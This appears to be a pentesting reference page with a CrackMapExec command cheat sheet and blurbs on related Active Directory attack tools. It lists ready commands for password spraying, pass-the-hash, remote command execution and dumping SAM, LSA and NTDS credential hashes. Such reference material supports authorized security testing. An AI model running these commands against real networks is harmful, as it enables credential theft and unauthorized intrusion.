Post Exploitation
CrackMapExec (CME) is a post-exploitation tool for pentesting Windows and Active Directory networks. It can enumerate users, spray passwords, execute commands, and move laterally.
sudo apt install crackmapexec
crackmapexec <protocol> <target> [options]
CrackMapExec is a post-exploitation tool that automates the assessment of Windows Active Directory networks. It provides a comprehensive suite for enumerating hosts, spraying passwords, executing commands, and moving laterally across domains.
With modular protocol support and color-coded output, CME is the go-to tool for red teams and pentesters performing large-scale Active Directory security assessments.
crackmapexec smb 192.168.1.0/24Sweep a subnet for SMB hosts and show OS, hostname and signingcrackmapexec smb 10.10.10.10 -u <USER> -p <PASS>Authenticate to a host over SMB with a username and passwordcrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> -d example.comAuthenticate with an explicit domaincrackmapexec smb 10.10.10.10 -u <USER> -H <NTHASH>Pass-the-hash authentication using an NT hashcrackmapexec smb 192.168.1.0/24 -u <USER> -p <PASS> --local-authAuthenticate against local (non-domain) accountscrackmapexec smb 10.10.10.10 -u users.txt -p passwords.txtTest a list of usernames and passwords for valid credentialscrackmapexec smb 192.168.1.0/24 -u <USER> -p passwords.txt --continue-on-successPassword-spray and keep going after the first valid hitcrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> --sharesList shares and the current user's read/write accesscrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> --sessionsList active SMB sessions on the targetcrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> --loggedon-usersShow users currently logged on to the hostcrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> --usersEnumerate domain userscrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> --groupsEnumerate domain groupscrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> --pass-polDump the account/password policycrackmapexec smb 10.10.10.10 -u '' -p '' --rid-bruteBrute-force RIDs to enumerate users via a null sessioncrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> -x whoamiExecute an OS command on the targetcrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> -X "Get-Process"Execute a PowerShell command on the targetcrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> --samDump local SAM password hashescrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> --lsaDump LSA secrets and cached credentialscrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> --ntdsDump NTDS.dit domain hashes from a Domain Controllercrackmapexec smb 10.10.10.10 -LList all available modules for the SMB protocolcrackmapexec smb 10.10.10.10 -u <USER> -p <PASS> -M mimikatzRun a module against the targetcrackmapexec winrm 10.10.10.10 -u <USER> -p <PASS>Validate credentials over WinRMcrackmapexec mssql 10.10.10.10 -u <USER> -p <PASS> -q "SELECT @@version"Run a query against a Microsoft SQL Servercrackmapexec ldap 10.10.10.10 -u <USER> -p <PASS> --kerberoasting out.txtRequest and save Kerberoastable service ticketscrackmapexec ldap 10.10.10.10 -u <USER> -p <PASS> --asreproast out.txtCollect AS-REP roastable hashes for users without preauthcrackmapexec ssh 192.168.1.0/24 -u <USER> -p <PASS>Test SSH credentials across a subnetScan subnets for accessible SMB services.
Test passwords across many accounts safely.
Spread across domain-joined systems.
Run commands on remote Windows hosts.
Post Exploitation
Impacket is a versatile collection of Python classes for working with network protocols. It features low-level programmatic access to packets alongside specific full-featured scripts for interacting with Windows domains.
Post Exploitation
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment, allowing attackers or defenders to identify complex attack paths.
Post Exploitation
Learn how to use Evil-WinRM, a Ruby-based client for the Windows Remote Management (WinRM) protocol. This guide covers installation, your first connection, password, pass-the-hash and Kerberos authentication, file transfers and script execution, all for use in authorized lab environments.
Post Exploitation
NetExec (formerly CrackMapExec successor) is a post-exploitation tool for enumerating and attacking Active Directory environments. It automates SMB, WinRM, LDAP, and SSH attacks across large networks with support for Kerberos, NTLM, and pass-the-hash authentication.
Post Exploitation
Empire is an open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y and now maintained by BC-Security. It uses PowerShell and Python-based agents to model adversarial persistent access behaviors for authorized security testing, red team engagements, and defensive detection engineering. Empire provides encrypted communications, modular capabilities, and a flexible agent system for extended operations against Windows and Linux environments.
Post Exploitation
Mimikatz is a powerful post-exploitation tool that exposes vulnerabilities in Windows authentication protection mechanisms, capable of extracting plaintexts passwords, hashes, PINs, and kerberos tickets from memory.
A comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.
Active Directory · AdvancedAn in-depth look at pass-the-hash attacks against NTLM authentication, how they work, real-world exploitation scenarios, detection techniques, and defense strategies.
Guides · AdvancedA complete beginner-to-advanced SMB enumeration guide covering discovery, NetBIOS, share access, user enumeration, automation, troubleshooting, workflow design, and SMB tool selection.
Guides · AdvancedGuide to performing reconnaissance across large enterprise Windows networks including domain enumeration, Active Directory mapping, and automated tool integration.
Terminal output color-codes authentication attempts. A green plus indicates success, while a red minus indicates failure. If 'Pwn3d!' appears, the provided credentials hold administrative power over that specific machine.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.